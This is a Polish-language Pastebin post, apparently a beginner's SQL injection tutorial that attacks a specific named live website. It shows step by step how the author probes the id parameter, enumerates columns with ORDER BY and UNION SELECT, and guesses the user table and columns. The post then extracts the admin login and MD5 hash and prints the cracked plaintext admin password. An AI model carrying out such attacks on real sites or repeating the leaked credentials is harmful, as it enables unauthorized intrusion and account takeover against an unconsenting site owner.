Advertisement
Guest User

SQL Injection dla anonków z vichuja

a guest
Mar 2nd, 2017
610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.27 KB | None | 0 0
  1. Powiecie pewnie że tutoriali tego typu jest w necie tysiące. Macie racje,
  2. jednak wszystkie podają suche przykłady a ja pokaże wam, dzięki uprzejmości JanuszChrystus, działanie na konkretnej istniejącej stronie na co w innych tutorialach nie można liczyć.
  3.  
  4. Tutorial jest przeznaczony dla najbardziej początkujących. Pozwala przejść całą ścieżkę SQLi i poćwiczyć różne kombinacje. Ma na celu poznanie podstaw działania rozpocząć zbieranie wiedzy by uniknąć w przyszłości pytań "kliknąłem w mój H@x0r tool SQLi i nie działa..."
  5.  
  6. SQL Injection (dosłownie wstrzykiwanie zapytań SQL) to dziura w zabezpieczeniu kodu programu polegająca na braku całości lub części filtrowania danych przesyłanych w postaci zapytań SQL do bazy danych. Najczęściej występuje w systemach składających się ze skryptu/programu (przykładowo PHP) generującego zapytanie do bazy danych (MySQL, PostgreSQL itp.) na podstawie podanych przez użytkownika danych. Podobno luka SQLi to brak wiedzy i doświadczenia autora danego kodu.
  7.  
  8. Dziś weźmiemy na warsztat nic nie znaczącą stronkę
  9.  
  10. http://szykielegancja.hord.pl/
  11.  
  12. która to stronka ma jedną zaletę - wciąż ma lukę i pewnie będzie ją miała długo co pozwoli nam potrenować działanie SQLi w praktyce.
  13.  
  14. Wszystkie poniższe działania robimy ręcznie w celach edukacyjnych pamiętając o zabezpieczeniu własnych 4 liter.
  15.  
  16. 1. Szukamy podatnego elementu.
  17.  
  18. Spokojnie klikamy sobie na stronie - nie jest ogromnie rozbudowana i patrzymy co pokazuje się pod postacią linków oraz w adresie.
  19. Interesują nas na początek opcje gdzie kod strony wysyła zapytania parametryczne do bazy SQL. Np.
  20. http://szykielegancja.hord.pl/index.php?costam=parametr
  21.  
  22. Pierwszy z brzegu przykład: http://szykielegancja.hord.pl/index.php?id=404
  23.  
  24. Widoczna część strony generowana jest na podstawie informacji zawartych w bazie SQL. Skrypt wyświetla nam zawartość wg jednego kryterium - parametru id o wartości w tym wypadku 404.
  25.  
  26. Zmieniając parametr na kolejne wartości zauważyć możemy iż zmieniając go na np 405 otrzymamy kolejną podstronę: http://szykielegancja.hord.pl/index.php?id=405
  27.  
  28. Teraz sprawdzamy podatność - czy autor strony wykonał należycie filtrowanie wartości przed przekazaniem jej do zapytania SQL.
  29. Zamiast 405 wpiszemy sobie coś innego np. -9999 lub ' lub " lub 5804395840 i patrzymy co się stanie.
  30.  
  31. http://szykielegancja.hord.pl/index.php?id=-9999
  32.  
  33. i od razu posypały się błędy:
  34.  
  35. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 27
  36.  
  37. Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 28
  38.  
  39. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 33
  40.  
  41. Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 34
  42.  
  43. Najwyraźniej nasz programista nie był zbyt staranny lub po prostu dopiero się uczy.
  44.  
  45. Sprawdźmy teraz ile tabel liczy sobie nasza baza. W tym celu posłużymy się komendą order by podając prawidłową wartość id (np. 405).
  46. Można zamienię używać union ale order by ma ta zaletę że dopiero wystąpienie błędu wskaże nam ilość tabel.
  47.  
  48. http://szykielegancja.hord.pl/index.php … der+by+2--
  49. strona wczytała się jak gdyby nigdy nic, więc spokojnie zwiększamy parametr.
  50. http://szykielegancja.hord.pl/index.php … der+by+3--
  51. dalej nic, więc kolejno 4,5,6,7,.... i nagle przy wartości 16 mamy znów nasz błąd:
  52.  
  53. http://szykielegancja.hord.pl/index.php … er+by+16--
  54.  
  55. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 13
  56.  
  57. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 27
  58.  
  59. Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 28
  60.  
  61. Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 33
  62.  
  63. Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/vhosts/szykielegancja.hord.pl/httpdocs/index_txt.php on line 34
  64.  
  65. Wystąpienie błędu przy wartości 16 wskazuje nam iż w bazie jest 15 tabel.
  66.  
  67. Teraz musimy odnaleźć kolumnę do której będziemy wprowadzać nasze "zastrzyki".
  68. Zrobimy to za pomocą komendy union select.
  69. Jako parametr id podajemy dowolną wartość błędną np. użyte poprzednio -9999.
  70.  
  71. http://szykielegancja.hord.pl/index.php … 13,14,15--
  72.  
  73. Strona oprócz stałej treści zamiast oczekiwanego obrazka czy błędu zwróciła nam numery podatnych kolumn: 3 i 8.
  74.  
  75. Zobaczmy teraz z jaką bazą mamy do czynienia. W tym celu zamiast "3" wpiszemy sobie komendę Version()
  76.  
  77. http://szykielegancja.hord.pl/index.php … 13,14,15--
  78.  
  79. Strona oświadcza nam iż wersja bazy to 5.1.59. To dobra wiadomość bo począwszy od wersji 5 nie trzeba zgadywać nazw komun i tablic.
  80.  
  81. Ale ponieważ tu chodzi o ćwiczenie pójdziemy starą, trudniejszą drogą działającą też w starszych wersjach baz - zgadujemy.
  82.  
  83. Musimy odnaleźć nazwę tablicy gdzie trzymane są interesujące nas dane - login i hasło admina.
  84. Najczęściej występujące nazwy to Users, User, Uzytkownik, Accounts
  85.  
  86. Sprawdźmy po kolei najpierw users:
  87. http://szykielegancja.hord.pl/index.php … %20users--
  88. wywala błąd, następnie user
  89. http://szykielegancja.hord.pl/index.php … m%20user--
  90. wyskoczyły znajome cyferki 3 i 8. Oznacza to że zapytanie wykonało się bez błędu - istnieje tablica user.
  91.  
  92. Teraz czas poszukać nazw kolumn w tablicy. W zasadzie interesują nas tylko 2 - użytkownik i hasło.
  93.  
  94. Mogą nazywać się: username, name, user, login, id itp. zaś te od hasła: password, pass, hasło, secret itp.
  95.  
  96. Sprawdźmy najpierw jak nazywa się kolumna zawierająca username admina, w tym celu zamiast 3 wpiszemy sobie oczekiwaną nazwę, zacznijmy od username:
  97.  
  98. http://szykielegancja.hord.pl/index.php … m%20user--
  99. niestety bład, teraz name
  100. http://szykielegancja.hord.pl/index.php … m%20user--
  101. tak samo, kolejno błąd przy user, ale przy login:
  102. http://szykielegancja.hord.pl/index.php … m%20user--
  103. strona zwróciła nam "szyk"
  104.  
  105. wiemy już że dane admina są w tablicy user, username jest w kolumnie login i nazywa się "szyk" brakuje nam tylko hasła.
  106.  
  107. Poszukajmy więc kolumny z hasłem. Zaczynamy od najprostszego password.
  108. http://szykielegancja.hord.pl/index.php … m%20user--
  109. i pudło, teraz pass:
  110. http://szykielegancja.hord.pl/index.php … m%20user--
  111.  
  112. i jest: 0cd954ec409815c10b16815a3d189d3f
  113.  
  114. Hasło zabezpieczone jest md5, musimy je teraz tylko złamać.
  115.  
  116. W tym celu najpierw wrzucamy je w pierwszy z brzegu dekoder online:
  117.  
  118. http://md5.my-addr.com/md5_decrypt-md5_ … r_tool.php
  119.  
  120. I tym razem mamy szczęście bo hasło wyskakuje od razu: elegantka
  121.  
  122. Cel osiągnięty - dysponujemy już nazwą i hasłem admina cms.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement